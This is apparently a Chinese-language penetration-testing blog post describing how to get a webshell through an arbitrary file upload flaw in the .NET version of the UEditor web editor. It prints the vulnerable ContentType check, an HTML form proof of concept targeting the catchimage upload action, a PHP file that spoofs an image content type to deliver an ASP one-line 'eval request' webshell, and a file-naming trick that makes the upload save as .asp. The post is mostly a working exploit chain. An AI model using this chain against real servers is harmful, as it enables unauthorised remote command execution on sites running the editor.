UEditor .net版本任意文件上传

0x00 前言

今天在渗透过程中碰到了一个UEditor .net版本,刚好最近想更新下博客,记录一个getshell的过程。

0x01 UEditor .net版本任意文件上传

这个任意文件上传是18年8月份爆出来的,漏洞的成因是在获取图片资源时仅检查了ContentType,导致可以绕过达到任意文件上传。

1
2
3
4
5
if (response.ContentType.IndexOf("image") == -1)
{
State = "Url is not an image";
return this;
}

漏洞利用poc

1
2
3
4
<form action="http://xx/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>

然后在服务中构造绕过验证的一句话submit即可

因为这里只验证了contentType,所以可以在代码中伪造contentType,我所使用的为

1
2
3
4
<?php
header('Content-type: image/jpeg');
echo "<% eval request(\"cmd\") %>";
?>

我这里使用的是php文件,利用的时候可以采用poc.php?.asp的形式,这样上传后的文件就为asp文件了。

提交之后便会返回webshell路径

0x02 参考资料

UEditor .net版本 getshell

本文标题:UEditor .net版本任意文件上传

文章作者:boogle

发布时间:2019年09月25日 - 20:44

最后更新:2019年09月25日 - 20:49

原始链接:https://zhengbao.wang/UEditor-net版本任意文件上传/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗